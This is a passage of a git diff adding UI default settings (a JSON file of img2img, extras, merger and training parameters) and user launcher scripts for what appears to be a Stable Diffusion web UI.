"img2img/Skip/visible": true, + "img2img/Generate/visible": true, + "img2img/\u2199\ufe0f/visible": true, + "img2img/\ud83d\uddd1\ufe0f/visible": true, + "img2img/Styles/visible": true, + "img2img/Styles/value": [], + "img2img/\ud83d\udd8c\ufe0f/visible": true, + "img2img/\ud83d\udd04/visible": true, + "img2img/\ud83d\udccb/visible": true, + "img2img/Close/visible": true, + "img2img/Tabs@img2img_extra_tabs/selected": null, + "img2img/Tabs@mode_img2img/selected": null, + "img2img/img2img/visible": true, + "img2img/sketch/visible": true, + "img2img/inpaint/visible": true, + "img2img/inpaint sketch/visible": true, + "img2img/Input directory/visible": true, + "img2img/Input directory/value": "", + "img2img/Output directory/visible": true, + "img2img/Output directory/value": "", + "img2img/Inpaint batch mask directory (required for inpaint batch processing only)/visible": true, + "img2img/Inpaint batch mask directory (required for inpaint batch processing only)/value": "", + "img2img/Append png info to prompts/visible": true, + "img2img/Append png info to prompts/value": false, + "img2img/PNG info directory/visible": true, + "img2img/PNG info directory/value": "", + "img2img/Resize mode/visible": true, + "img2img/Resize mode/value": "Just resize", + "img2img/Mask blur/visible": true, + "img2img/Mask blur/value": 4, + "img2img/Mask blur/minimum": 0, + "img2img/Mask blur/maximum": 64, + "img2img/Mask blur/step": 1, + "img2img/Mask transparency/value": 0, + "img2img/Mask transparency/minimum": 0, + "img2img/Mask transparency/maximum": 100, + "img2img/Mask transparency/step": 1, + "img2img/Mask mode/visible": true, + "img2img/Mask mode/value": "Inpaint masked", + "img2img/Masked content/visible": true, + "img2img/Masked content/value": "original", + "img2img/Inpaint area/visible": true, + "img2img/Inpaint area/value": "Whole picture", + "img2img/Only masked padding, pixels/visible": true, + "img2img/Only masked padding, pixels/value": 32, + "img2img/Only masked padding, pixels/minimum": 0, + "img2img/Only masked padding, pixels/maximum": 256, + "img2img/Only masked padding, pixels/step": 4, + "img2img/Sampling method/visible": true, + "img2img/Sampling method/value": "DPM++ 2M Karras", + "img2img/Sampling steps/visible": true, + "img2img/Sampling steps/value": 20, + "img2img/Sampling steps/minimum": 1, + "img2img/Sampling steps/maximum": 150, + "img2img/Sampling steps/step": 1, + "customscript/refiner.py/img2img/Checkpoint/visible": true, + "customscript/refiner.py/img2img/Checkpoint/value": "", + "customscript/refiner.py/img2img/Switch at/visible": true, + "customscript/refiner.py/img2img/Switch at/value": 0.8, + "customscript/refiner.py/img2img/Switch at/minimum": 0.01, + "customscript/refiner.py/img2img/Switch at/maximum": 1.0, + "customscript/refiner.py/img2img/Switch at/step": 0.01, + "img2img/Width/visible": true, + "img2img/Width/value": 512, + "img2img/Width/minimum": 64, + "img2img/Width/maximum": 2048, + "img2img/Width/step": 8, + "img2img/Height/visible": true, + "img2img/Height/value": 512, + "img2img/Height/minimum": 64, + "img2img/Height/maximum": 2048, + "img2img/Height/step": 8, + "img2img/\u21c5/visible": true, + "img2img/\ud83d\udcd0/visible": true, + "img2img/Scale/visible": true, + "img2img/Scale/value": 1.0, + "img2img/Scale/minimum": 0.05, + "img2img/Scale/maximum": 4.0, + "img2img/Scale/step": 0.05, + "img2img/Unused/visible": true, + "img2img/Unused/value": 0, + "img2img/Unused/minimum": 0, + "img2img/Unused/maximum": 100, + "img2img/Unused/step": 1, + "img2img/Batch count/visible": true, + "img2img/Batch count/value": 1, + "img2img/Batch count/minimum": 1, + "img2img/Batch count/maximum": 100, + "img2img/Batch count/step": 1, + "img2img/Batch size/visible": true, + "img2img/Batch size/value": 1, + "img2img/Batch size/minimum": 1, + "img2img/Batch size/maximum": 8, + "img2img/Batch size/step": 1, + "img2img/CFG Scale/visible": true, + "img2img/CFG Scale/value": 7.0, + "img2img/CFG Scale/minimum": 1.0, + "img2img/CFG Scale/maximum": 30.0, + "img2img/CFG Scale/step": 0.5, + "img2img/Image CFG Scale/value": 1.5, + "img2img/Image CFG Scale/minimum": 0, + "img2img/Image CFG Scale/maximum": 3.0, + "img2img/Image CFG Scale/step": 0.05, + "img2img/Denoising strength/visible": true, + "img2img/Denoising strength/value": 0.75, + "img2img/Denoising strength/minimum": 0.0, + "img2img/Denoising strength/maximum": 1.0, + "img2img/Denoising strength/step": 0.01, + "customscript/seed.py/img2img/Seed/visible": true, + "customscript/seed.py/img2img/Seed/value": -1, + "img2img/Random seed/visible": true, + "img2img/Reuse seed/visible": true, + "customscript/seed.py/img2img/Extra/visible": true, + "customscript/seed.py/img2img/Extra/value": false, + "customscript/seed.py/img2img/Variation seed/visible": true, + "customscript/seed.py/img2img/Variation seed/value": -1, + "img2img/\ud83c\udfb2\ufe0f/visible": true, + "img2img/\u267b\ufe0f/visible": true, + "customscript/seed.py/img2img/Variation strength/visible": true, + "customscript/seed.py/img2img/Variation strength/value": 0.0, + "customscript/seed.py/img2img/Variation strength/minimum": 0, + "customscript/seed.py/img2img/Variation strength/maximum": 1, + "customscript/seed.py/img2img/Variation strength/step": 0.01, + "customscript/seed.py/img2img/Resize seed from width/visible": true, + "customscript/seed.py/img2img/Resize seed from width/value": 0, + "customscript/seed.py/img2img/Resize seed from width/minimum": 0, + "customscript/seed.py/img2img/Resize seed from width/maximum": 2048, + "customscript/seed.py/img2img/Resize seed from width/step": 8, + "customscript/seed.py/img2img/Resize seed from height/visible": true, + "customscript/seed.py/img2img/Resize seed from height/value": 0, + "customscript/seed.py/img2img/Resize seed from height/minimum": 0, + "customscript/seed.py/img2img/Resize seed from height/maximum": 2048, + "customscript/seed.py/img2img/Resize seed from height/step": 8, + "img2img/Override settings/value": null, + "img2img/Script/visible": true, + "img2img/Script/value": "None", + "customscript/img2imgalt.py/img2img/Override `Sampling method` to Euler?(this method is built for it)/visible": true, + "customscript/img2imgalt.py/img2img/Override `Sampling method` to Euler?(this method is built for it)/value": true, + "customscript/img2imgalt.py/img2img/Override `prompt` to the same value as `original prompt`?(and `negative prompt`)/visible": true, + "customscript/img2imgalt.py/img2img/Override `prompt` to the same value as `original prompt`?(and `negative prompt`)/value": true, + "customscript/img2imgalt.py/img2img/Original prompt/visible": true, + "customscript/img2imgalt.py/img2img/Original prompt/value": "", + "customscript/img2imgalt.py/img2img/Original negative prompt/visible": true, + "customscript/img2imgalt.py/img2img/Original negative prompt/value": "", + "customscript/img2imgalt.py/img2img/Override `Sampling Steps` to the same value as `Decode steps`?/visible": true, + "customscript/img2imgalt.py/img2img/Override `Sampling Steps` to the same value as `Decode steps`?/value": true, + "customscript/img2imgalt.py/img2img/Decode steps/visible": true, + "customscript/img2imgalt.py/img2img/Decode steps/value": 50, + "customscript/img2imgalt.py/img2img/Decode steps/minimum": 1, + "customscript/img2imgalt.py/img2img/Decode steps/maximum": 150, + "customscript/img2imgalt.py/img2img/Decode steps/step": 1, + "customscript/img2imgalt.py/img2img/Override `Denoising strength` to 1?/visible": true, + "customscript/img2imgalt.py/img2img/Override `Denoising strength` to 1?/value": true, + "customscript/img2imgalt.py/img2img/Decode CFG scale/visible": true, + "customscript/img2imgalt.py/img2img/Decode CFG scale/value": 1.0, + "customscript/img2imgalt.py/img2img/Decode CFG scale/minimum": 0.0, + "customscript/img2imgalt.py/img2img/Decode CFG scale/maximum": 15.0, + "customscript/img2imgalt.py/img2img/Decode CFG scale/step": 0.1, + "customscript/img2imgalt.py/img2img/Randomness/visible": true, + "customscript/img2imgalt.py/img2img/Randomness/value": 0.0, + "customscript/img2imgalt.py/img2img/Randomness/minimum": 0.0, + "customscript/img2imgalt.py/img2img/Randomness/maximum": 1.0, + "customscript/img2imgalt.py/img2img/Randomness/step": 0.01, + "customscript/img2imgalt.py/img2img/Sigma adjustment for finding noise for image/visible": true, + "customscript/img2imgalt.py/img2img/Sigma adjustment for finding noise for image/value": false, + "customscript/loopback.py/img2img/Loops/visible": true, + "customscript/loopback.py/img2img/Loops/value": 4, + "customscript/loopback.py/img2img/Loops/minimum": 1, + "customscript/loopback.py/img2img/Loops/maximum": 32, + "customscript/loopback.py/img2img/Loops/step": 1, + "customscript/loopback.py/img2img/Final denoising strength/visible": true, + "customscript/loopback.py/img2img/Final denoising strength/value": 0.5, + "customscript/loopback.py/img2img/Final denoising strength/minimum": 0, + "customscript/loopback.py/img2img/Final denoising strength/maximum": 1, + "customscript/loopback.py/img2img/Final denoising strength/step": 0.01, + "customscript/loopback.py/img2img/Denoising strength curve/visible": true, + "customscript/loopback.py/img2img/Denoising strength curve/value": "Linear", + "customscript/loopback.py/img2img/Append interrogated prompt at each iteration/visible": true, + "customscript/loopback.py/img2img/Append interrogated prompt at each iteration/value": "None", + "customscript/outpainting_mk_2.py/img2img/Pixels to expand/visible": true, + "customscript/outpainting_mk_2.py/img2img/Pixels to expand/value": 128, + "customscript/outpainting_mk_2.py/img2img/Pixels to expand/minimum": 8, + "customscript/outpainting_mk_2.py/img2img/Pixels to expand/maximum": 256, + "customscript/outpainting_mk_2.py/img2img/Pixels to expand/step": 8, + "customscript/outpainting_mk_2.py/img2img/Mask blur/visible": true, + "customscript/outpainting_mk_2.py/img2img/Mask blur/value": 8, + "customscript/outpainting_mk_2.py/img2img/Mask blur/minimum": 0, + "customscript/outpainting_mk_2.py/img2img/Mask blur/maximum": 64, + "customscript/outpainting_mk_2.py/img2img/Mask blur/step": 1, + "customscript/outpainting_mk_2.py/img2img/Fall-off exponent (lower=higher detail)/visible": true, + "customscript/outpainting_mk_2.py/img2img/Fall-off exponent (lower=higher detail)/value": 1.0, + "customscript/outpainting_mk_2.py/img2img/Fall-off exponent (lower=higher detail)/minimum": 0.0, + "customscript/outpainting_mk_2.py/img2img/Fall-off exponent (lower=higher detail)/maximum": 4.0, + "customscript/outpainting_mk_2.py/img2img/Fall-off exponent (lower=higher detail)/step": 0.01, + "customscript/outpainting_mk_2.py/img2img/Color variation/visible": true, + "customscript/outpainting_mk_2.py/img2img/Color variation/value": 0.05, + "customscript/outpainting_mk_2.py/img2img/Color variation/minimum": 0.0, + "customscript/outpainting_mk_2.py/img2img/Color variation/maximum": 1.0, + "customscript/outpainting_mk_2.py/img2img/Color variation/step": 0.01, + "customscript/poor_mans_outpainting.py/img2img/Pixels to expand/visible": true, + "customscript/poor_mans_outpainting.py/img2img/Pixels to expand/value": 128, + "customscript/poor_mans_outpainting.py/img2img/Pixels to expand/minimum": 8, + "customscript/poor_mans_outpainting.py/img2img/Pixels to expand/maximum": 256, + "customscript/poor_mans_outpainting.py/img2img/Pixels to expand/step": 8, + "customscript/poor_mans_outpainting.py/img2img/Mask blur/visible": true, + "customscript/poor_mans_outpainting.py/img2img/Mask blur/value": 4, + "customscript/poor_mans_outpainting.py/img2img/Mask blur/minimum": 0, + "customscript/poor_mans_outpainting.py/img2img/Mask blur/maximum": 64, + "customscript/poor_mans_outpainting.py/img2img/Mask blur/step": 1, + "customscript/poor_mans_outpainting.py/img2img/Masked content/visible": true, + "customscript/poor_mans_outpainting.py/img2img/Masked content/value": "fill", + "customscript/prompt_matrix.py/img2img/Put variable parts at start of prompt/visible": true, + "customscript/prompt_matrix.py/img2img/Put variable parts at start of prompt/value": false, + "customscript/prompt_matrix.py/img2img/Use different seed for each picture/visible": true, + "customscript/prompt_matrix.py/img2img/Use different seed for each picture/value": false, + "customscript/prompt_matrix.py/img2img/Select prompt/visible": true, + "customscript/prompt_matrix.py/img2img/Select prompt/value": "positive", + "customscript/prompt_matrix.py/img2img/Select joining char/visible": true, + "customscript/prompt_matrix.py/img2img/Select joining char/value": "comma", + "customscript/prompt_matrix.py/img2img/Grid margins (px)/visible": true, + "customscript/prompt_matrix.py/img2img/Grid margins (px)/value": 0, + "customscript/prompt_matrix.py/img2img/Grid margins (px)/minimum": 0, + "customscript/prompt_matrix.py/img2img/Grid margins (px)/maximum": 500, + "customscript/prompt_matrix.py/img2img/Grid margins (px)/step": 2, + "customscript/prompts_from_file.py/img2img/Iterate seed every line/visible": true, + "customscript/prompts_from_file.py/img2img/Iterate seed every line/value": false, + "customscript/prompts_from_file.py/img2img/Use same random seed for all lines/visible": true, + "customscript/prompts_from_file.py/img2img/Use same random seed for all lines/value": false, + "customscript/prompts_from_file.py/img2img/List of prompt inputs/visible": true, + "customscript/prompts_from_file.py/img2img/List of prompt inputs/value": "", + "customscript/sd_upscale.py/img2img/Tile overlap/visible": true, + "customscript/sd_upscale.py/img2img/Tile overlap/value": 64, + "customscript/sd_upscale.py/img2img/Tile overlap/minimum": 0, + "customscript/sd_upscale.py/img2img/Tile overlap/maximum": 256, + "customscript/sd_upscale.py/img2img/Tile overlap/step": 16, + "customscript/sd_upscale.py/img2img/Scale Factor/visible": true, + "customscript/sd_upscale.py/img2img/Scale Factor/value": 2.0, + "customscript/sd_upscale.py/img2img/Scale Factor/minimum": 1.0, + "customscript/sd_upscale.py/img2img/Scale Factor/maximum": 4.0, + "customscript/sd_upscale.py/img2img/Scale Factor/step": 0.05, + "customscript/sd_upscale.py/img2img/Upscaler/visible": true, + "customscript/sd_upscale.py/img2img/Upscaler/value": "None", + "customscript/xyz_grid.py/img2img/X type/visible": true, + "customscript/xyz_grid.py/img2img/X type/value": "Seed", + "customscript/xyz_grid.py/img2img/X values/visible": true, + "customscript/xyz_grid.py/img2img/X values/value": "", + "customscript/xyz_grid.py/img2img/Y type/visible": true, + "customscript/xyz_grid.py/img2img/Y type/value": "Nothing", + "customscript/xyz_grid.py/img2img/Y values/visible": true, + "customscript/xyz_grid.py/img2img/Y values/value": "", + "customscript/xyz_grid.py/img2img/Z type/visible": true, + "customscript/xyz_grid.py/img2img/Z type/value": "Nothing", + "customscript/xyz_grid.py/img2img/Z values/visible": true, + "customscript/xyz_grid.py/img2img/Z values/value": "", + "customscript/xyz_grid.py/img2img/Draw legend/visible": true, + "customscript/xyz_grid.py/img2img/Draw legend/value": true, + "customscript/xyz_grid.py/img2img/Keep -1 for seeds/visible": true, + "customscript/xyz_grid.py/img2img/Keep -1 for seeds/value": false, + "customscript/xyz_grid.py/img2img/Include Sub Images/visible": true, + "customscript/xyz_grid.py/img2img/Include Sub Images/value": false, + "customscript/xyz_grid.py/img2img/Include Sub Grids/visible": true, + "customscript/xyz_grid.py/img2img/Include Sub Grids/value": false, + "customscript/xyz_grid.py/img2img/Grid margins (px)/visible": true, + "customscript/xyz_grid.py/img2img/Grid margins (px)/value": 0, + "customscript/xyz_grid.py/img2img/Grid margins (px)/minimum": 0, + "customscript/xyz_grid.py/img2img/Grid margins (px)/maximum": 500, + "customscript/xyz_grid.py/img2img/Grid margins (px)/step": 2, + "customscript/xyz_grid.py/img2img/Use text inputs instead of dropdowns/visible": true, + "customscript/xyz_grid.py/img2img/Use text inputs instead of dropdowns/value": false, + "img2img/Swap X/Y axes/visible": true, + "img2img/Swap Y/Z axes/visible": true, + "img2img/Swap X/Z axes/visible": true, + "img2img/\ud83d\udcc2/visible": true, + "img2img/\ud83d\udcbe/visible": true, + "img2img/\ud83d\uddc3\ufe0f/visible": true, + "img2img/\ud83d\uddbc\ufe0f/visible": true, + "img2img/\ud83c\udfa8\ufe0f/visible": true, + "img2img/Description/visible": true, + "img2img/Description/value": "", + "img2img/Cancel/visible": true, + "img2img/Replace preview/visible": true, + "img2img/Save/visible": true, + "img2img/Preferred VAE/visible": true, + "img2img/Preferred VAE/value": "None", + "img2img/Stable Diffusion version/visible": true, + "img2img/Stable Diffusion version/value": "Unknown", + "img2img/Activation text/visible": true, + "img2img/Activation text/value": "", + "img2img/Preferred weight/visible": true, + "img2img/Preferred weight/value": 0.0, + "img2img/Preferred weight/minimum": 0.0, + "img2img/Preferred weight/maximum": 2.0, + "img2img/Preferred weight/step": 0.01, + "img2img/Random prompt/visible": true, + "img2img/Random prompt/value": "", + "img2img/img2img_extra_sort_order/value": "Default Sort", + "img2img/Show dirs/value": true, + "extras/Tabs@mode_extras/selected": null, + "extras/Input directory/visible": true, + "extras/Input directory/value": "", + "extras/Output directory/visible": true, + "extras/Output directory/value": "", + "extras/Show result images/visible": true, + "extras/Show result images/value": true, + "extras/Generate/visible": true, + "extras/Tabs@extras_resize_mode/selected": null, + "customscript/postprocessing_upscale.py/extras/Resize/visible": true, + "customscript/postprocessing_upscale.py/extras/Resize/value": 4, + "customscript/postprocessing_upscale.py/extras/Resize/minimum": 1.0, + "customscript/postprocessing_upscale.py/extras/Resize/maximum": 8.0, + "customscript/postprocessing_upscale.py/extras/Resize/step": 0.05, + "customscript/postprocessing_upscale.py/extras/Width/visible": true, + "customscript/postprocessing_upscale.py/extras/Width/value": 512, + "customscript/postprocessing_upscale.py/extras/Width/minimum": 64, + "customscript/postprocessing_upscale.py/extras/Width/maximum": 2048, + "customscript/postprocessing_upscale.py/extras/Width/step": 8, + "customscript/postprocessing_upscale.py/extras/Height/visible": true, + "customscript/postprocessing_upscale.py/extras/Height/value": 512, + "customscript/postprocessing_upscale.py/extras/Height/minimum": 64, + "customscript/postprocessing_upscale.py/extras/Height/maximum": 2048, + "customscript/postprocessing_upscale.py/extras/Height/step": 8, + "extras/\u21c5/visible": true, + "customscript/postprocessing_upscale.py/extras/Crop to fit/visible": true, + "customscript/postprocessing_upscale.py/extras/Crop to fit/value": true, + "customscript/postprocessing_upscale.py/extras/Upscaler 1/visible": true, + "customscript/postprocessing_upscale.py/extras/Upscaler 1/value": "None", + "customscript/postprocessing_upscale.py/extras/Upscaler 2/visible": true, + "customscript/postprocessing_upscale.py/extras/Upscaler 2/value": "None", + "customscript/postprocessing_upscale.py/extras/Upscaler 2 visibility/visible": true, + "customscript/postprocessing_upscale.py/extras/Upscaler 2 visibility/value": 0.0, + "customscript/postprocessing_upscale.py/extras/Upscaler 2 visibility/minimum": 0.0, + "customscript/postprocessing_upscale.py/extras/Upscaler 2 visibility/maximum": 1.0, + "customscript/postprocessing_upscale.py/extras/Upscaler 2 visibility/step": 0.001, + "customscript/postprocessing_gfpgan.py/extras/GFPGAN visibility/visible": true, + "customscript/postprocessing_gfpgan.py/extras/GFPGAN visibility/value": 0, + "customscript/postprocessing_gfpgan.py/extras/GFPGAN visibility/minimum": 0.0, + "customscript/postprocessing_gfpgan.py/extras/GFPGAN visibility/maximum": 1.0, + "customscript/postprocessing_gfpgan.py/extras/GFPGAN visibility/step": 0.001, + "customscript/postprocessing_codeformer.py/extras/CodeFormer visibility/visible": true, + "customscript/postprocessing_codeformer.py/extras/CodeFormer visibility/value": 0, + "customscript/postprocessing_codeformer.py/extras/CodeFormer visibility/minimum": 0.0, + "customscript/postprocessing_codeformer.py/extras/CodeFormer visibility/maximum": 1.0, + "customscript/postprocessing_codeformer.py/extras/CodeFormer visibility/step": 0.001, + "customscript/postprocessing_codeformer.py/extras/CodeFormer weight (0 = maximum effect, 1 = minimum effect)/visible": true, + "customscript/postprocessing_codeformer.py/extras/CodeFormer weight (0 = maximum effect, 1 = minimum effect)/value": 0, + "customscript/postprocessing_codeformer.py/extras/CodeFormer weight (0 = maximum effect, 1 = minimum effect)/minimum": 0.0, + "customscript/postprocessing_codeformer.py/extras/CodeFormer weight (0 = maximum effect, 1 = minimum effect)/maximum": 1.0, + "customscript/postprocessing_codeformer.py/extras/CodeFormer weight (0 = maximum effect, 1 = minimum effect)/step": 0.001, + "extras/\ud83d\udcc2/visible": true, + "extras/\ud83d\uddbc\ufe0f/visible": true, + "extras/\ud83c\udfa8\ufe0f/visible": true, + "extras/\ud83d\udcd0/visible": true, + "pnginfo/Send to txt2img/visible": true, + "pnginfo/Send to img2img/visible": true, + "pnginfo/Send to inpaint/visible": true, + "pnginfo/Send to extras/visible": true, + "modelmerger/Primary model (A)/visible": true, + "modelmerger/Primary model (A)/value": null, + "modelmerger/\ud83d\udd04/visible": true, + "modelmerger/Secondary model (B)/visible": true, + "modelmerger/Secondary model (B)/value": null, + "modelmerger/Tertiary model (C)/visible": true, + "modelmerger/Tertiary model (C)/value": null, + "modelmerger/Custom Name (Optional)/visible": true, + "modelmerger/Custom Name (Optional)/value": "", + "modelmerger/Multiplier (M) - set to 0 to get model A/visible": true, + "modelmerger/Multiplier (M) - set to 0 to get model A/value": 0.3, + "modelmerger/Multiplier (M) - set to 0 to get model A/minimum": 0.0, + "modelmerger/Multiplier (M) - set to 0 to get model A/maximum": 1.0, + "modelmerger/Multiplier (M) - set to 0 to get model A/step": 0.05, + "modelmerger/Interpolation Method/visible": true, + "modelmerger/Interpolation Method/value": "Weighted sum", + "modelmerger/Checkpoint format/visible": true, + "modelmerger/Checkpoint format/value": "safetensors", + "modelmerger/Save as float16/visible": true, + "modelmerger/Save as float16/value": false, + "modelmerger/Copy config from/visible": true, + "modelmerger/Copy config from/value": "A, B or C", + "modelmerger/Bake in VAE/visible": true, + "modelmerger/Bake in VAE/value": "None", + "modelmerger/Discard weights with matching name/visible": true, + "modelmerger/Discard weights with matching name/value": "", + "modelmerger/Save metadata/visible": true, + "modelmerger/Save metadata/value": true, + "modelmerger/Add merge recipe metadata/visible": true, + "modelmerger/Add merge recipe metadata/value": true, + "modelmerger/Copy metadata from merged models/visible": true, + "modelmerger/Copy metadata from merged models/value": true, + "modelmerger/Read metadata from selected checkpoints/visible": true, + "modelmerger/Merge/visible": true, + "train/Tabs@train_tabs/selected": null, + "train/Name/visible": true, + "train/Name/value": "", + "train/Initialization text/visible": true, + "train/Initialization text/value": "*", + "train/Number of vectors per token/visible": true, + "train/Number of vectors per token/value": 1, + "train/Number of vectors per token/minimum": 1, + "train/Number of vectors per token/maximum": 75, + "train/Number of vectors per token/step": 1, + "train/Overwrite Old Embedding/visible": true, + "train/Overwrite Old Embedding/value": false, + "train/Create embedding/visible": true, + "train/Enter hypernetwork layer structure/visible": true, + "train/Enter hypernetwork layer structure/value": "1, 2, 1", + "train/Select activation function of hypernetwork. Recommended : Swish / Linear(none)/visible": true, + "train/Select activation function of hypernetwork. Recommended : Swish / Linear(none)/value": "linear", + "train/Select Layer weights initialization. Recommended: Kaiming for relu-like, Xavier for sigmoid-like, Normal otherwise/visible": true, + "train/Select Layer weights initialization. Recommended: Kaiming for relu-like, Xavier for sigmoid-like, Normal otherwise/value": "Normal", + "train/Add layer normalization/visible": true, + "train/Add layer normalization/value": false, + "train/Use dropout/visible": true, + "train/Use dropout/value": false, + "train/Enter hypernetwork Dropout structure (or empty). Recommended : 0~0.35 incrementing sequence: 0, 0.05, 0.15/visible": true, + "train/Enter hypernetwork Dropout structure (or empty). Recommended : 0~0.35 incrementing sequence: 0, 0.05, 0.15/value": "0, 0, 0", + "train/Overwrite Old Hypernetwork/visible": true, + "train/Overwrite Old Hypernetwork/value": false, + "train/Create hypernetwork/visible": true, + "train/Source directory/visible": true, + "train/Source directory/value": "", + "train/Destination directory/visible": true, + "train/Destination directory/value": "", + "train/Width/visible": true, + "train/Width/value": 512, + "train/Width/minimum": 64, + "train/Width/maximum": 2048, + "train/Width/step": 8, + "train/Height/visible": true, + "train/Height/value": 512, + "train/Height/minimum": 64, + "train/Height/maximum": 2048, + "train/Height/step": 8, + "train/Existing Caption txt Action/visible": true, + "train/Existing Caption txt Action/value": "ignore", + "train/Keep original size/visible": true, + "train/Keep original size/value": false, + "train/Create flipped copies/visible": true, + "train/Create flipped copies/value": false, + "train/Split oversized images/visible": true, + "train/Split oversized images/value": false, + "train/Auto focal point crop/visible": true, + "train/Auto focal point crop/value": false, + "train/Auto-sized crop/visible": true, + "train/Auto-sized crop/value": false, + "train/Use BLIP for caption/visible": true, + "train/Use BLIP for caption/value": false, + "train/Use deepbooru for caption/visible": true, + "train/Use deepbooru for caption/value": false, + "train/Split image threshold/visible": true, + "train/Split image threshold/value": 0.5, + "train/Split image threshold/minimum": 0.0, + "train/Split image threshold/maximum": 1.0, + "train/Split image threshold/step": 0.05, + "train/Split image overlap ratio/visible": true, + "train/Split image overlap ratio/value": 0.2, + "train/Split image overlap ratio/minimum": 0.0, + "train/Split image overlap ratio/maximum": 0.9, + "train/Split image overlap ratio/step": 0.05, + "train/Focal point face weight/visible": true, + "train/Focal point face weight/value": 0.9, + "train/Focal point face weight/minimum": 0.0, + "train/Focal point face weight/maximum": 1.0, + "train/Focal point face weight/step": 0.05, + "train/Focal point entropy weight/visible": true, + "train/Focal point entropy weight/value": 0.15, + "train/Focal point entropy weight/minimum": 0.0, + "train/Focal point entropy weight/maximum": 1.0, + "train/Focal point entropy weight/step": 0.05, + "train/Focal point edges weight/visible": true, + "train/Focal point edges weight/value": 0.5, + "train/Focal point edges weight/minimum": 0.0, + "train/Focal point edges weight/maximum": 1.0, + "train/Focal point edges weight/step": 0.05, + "train/Create debug image/visible": true, + "train/Create debug image/value": false, + "train/Dimension lower bound/visible": true, + "train/Dimension lower bound/value": 384, + "train/Dimension lower bound/minimum": 64, + "train/Dimension lower bound/maximum": 2048, + "train/Dimension lower bound/step": 8, + "train/Dimension upper bound/visible": true, + "train/Dimension upper bound/value": 768, + "train/Dimension upper bound/minimum": 64, + "train/Dimension upper bound/maximum": 2048, + "train/Dimension upper bound/step": 8, + "train/Area lower bound/visible": true, + "train/Area lower bound/value": 4096, + "train/Area lower bound/minimum": 4096, + "train/Area lower bound/maximum": 4194304, + "train/Area lower bound/step": 1, + "train/Area upper bound/visible": true, + "train/Area upper bound/value": 409600, + "train/Area upper bound/minimum": 4096, + "train/Area upper bound/maximum": 4194304, + "train/Area upper bound/step": 1, + "train/Resizing objective/visible": true, + "train/Resizing objective/value": "Maximize area", + "train/Error threshold/visible": true, + "train/Error threshold/value": 0.1, + "train/Error threshold/minimum": 0, + "train/Error threshold/maximum": 1, + "train/Error threshold/step": 0.01, + "train/Interrupt/visible": true, + "train/Preprocess/visible": true, + "train/Embedding/visible": true, + "train/Embedding/value": null, + "train/\ud83d\udd04/visible": true, + "train/Hypernetwork/visible": true, + "train/Hypernetwork/value": null, + "train/Embedding Learning rate/visible": true, + "train/Embedding Learning rate/value": "0.005", + "train/Hypernetwork Learning rate/visible": true, + "train/Hypernetwork Learning rate/value": "0.00001", + "train/Gradient Clipping/visible": true, + "train/Gradient Clipping/value": "disabled", + "train/Batch size/visible": true, + "train/Batch size/value": 1, + "train/Gradient accumulation steps/visible": true, + "train/Gradient accumulation steps/value": 1, + "train/Dataset directory/visible": true, + "train/Dataset directory/value": "", + "train/Log directory/visible": true, + "train/Log directory/value": "textual_inversion", + "train/Prompt template/visible": true, + "train/Prompt template/value": "style_filewords.txt", + "train/Do not resize images/visible": true, + "train/Do not resize images/value": false, + "train/Max steps/visible": true, + "train/Max steps/value": 100000, + "train/Save an image to log directory every N steps, 0 to disable/visible": true, + "train/Save an image to log directory every N steps, 0 to disable/value": 500, + "train/Save a copy of embedding to log directory every N steps, 0 to disable/visible": true, + "train/Save a copy of embedding to log directory every N steps, 0 to disable/value": 500, + "train/Use PNG alpha channel as loss weight/visible": true, + "train/Use PNG alpha channel as loss weight/value": false, + "train/Save images with embedding in PNG chunks/visible": true, + "train/Save images with embedding in PNG chunks/value": true, + "train/Read parameters (prompt, etc...) from txt2img tab when making previews/visible": true, + "train/Read parameters (prompt, etc...) from txt2img tab when making previews/value": false, + "train/Shuffle tags by ',' when creating prompts./visible": true, + "train/Shuffle tags by ',' when creating prompts./value": false, + "train/Drop out tags when creating prompts./visible": true, + "train/Drop out tags when creating prompts./value": 0, + "train/Drop out tags when creating prompts./minimum": 0, + "train/Drop out tags when creating prompts./maximum": 1, + "train/Drop out tags when creating prompts./step": 0.1, + "train/Choose latent sampling method/visible": true, + "train/Choose latent sampling method/value": "once", + "train/Train Embedding/visible": true, + "train/Train Hypernetwork/visible": true, + "webui/Tabs@tabs/selected": null +} \ No newline at end of file diff --git a/webui-macos-env.sh b/webui-macos-env.sh new file mode 100644 index 0000000000000000000000000000000000000000..24bc5c42615477b2cc6c16470f6f796bbde77ae7 --- /dev/null +++ b/webui-macos-env.sh @@ -0,0 +1,17 @@ +#!/bin/bash +#################################################################### +# macOS defaults # +# Please modify webui-user.sh to change these instead of this file # +#################################################################### + +if [[ -x "$(command -v python3.10)" ]] +then + python_cmd="python3.10" +fi + +export install_dir="$HOME" +export COMMANDLINE_ARGS="--skip-torch-cuda-test --upcast-sampling --no-half-vae --use-cpu interrogate" +export TORCH_COMMAND="pip install torch==2.0.1 torchvision==0.15.2" +export PYTORCH_ENABLE_MPS_FALLBACK=1 + +#################################################################### diff --git a/webui-user.bat b/webui-user.bat new file mode 100644 index 0000000000000000000000000000000000000000..e5a257bef06f5bfcaff1c8b33c64a767eb8b3fe5 --- /dev/null +++ b/webui-user.bat @@ -0,0 +1,8 @@ +@echo off + +set PYTHON= +set GIT= +set VENV_DIR= +set COMMANDLINE_ARGS= + +call webui.bat diff --git a/webui-user.sh b/webui-user.sh new file mode 100644 index 0000000000000000000000000000000000000000..70306c60d5b495bebd87da8f06da58fb72706553 --- /dev/null +++ b/webui-user.sh @@ -0,0 +1,48 @@ +#!/bin/bash +######################################################### +# Uncomment and change the variables below to your need:# +######################################################### + +# Install directory without trailing slash +#install_dir="/home/$(whoami)" + +# Name of the subdirectory +#clone_dir="stable-diffusion-webui" + +# Commandline arguments for webui.py, for example: export COMMANDLINE_ARGS="--medvram --opt-split-attention" +#export COMMANDLINE_ARGS="" + +# python3 executable +#python_cmd="python3" + +# git executable +#export GIT="git" + +# python3 venv without trailing slash (defaults to ${install_dir}/${clone_dir}/venv) +#venv_dir="venv" + +# script to launch to start the app +#export LAUNCH_SCRIPT="launch.py" + +# install command for torch +#export TORCH_COMMAND="pip install torch==1.12.1+cu113 --extra-index-url https://download.pytorch.org/whl/cu113" + +# Requirements file to use for stable-diffusion-webui +#export REQS_FILE="requirements_versions.txt" + +# Fixed git repos +#export K_DIFFUSION_PACKAGE="" +#export GFPGAN_PACKAGE="" + +# Fixed git commits +#export STABLE_DIFFUSION_COMMIT_HASH="" +#export CODEFORMER_COMMIT_HASH="" +#export BLIP_COMMIT_HASH="" + +# Uncomment to enable accelerated launch +#export ACCELERATE="True" + +# Uncomment to disable 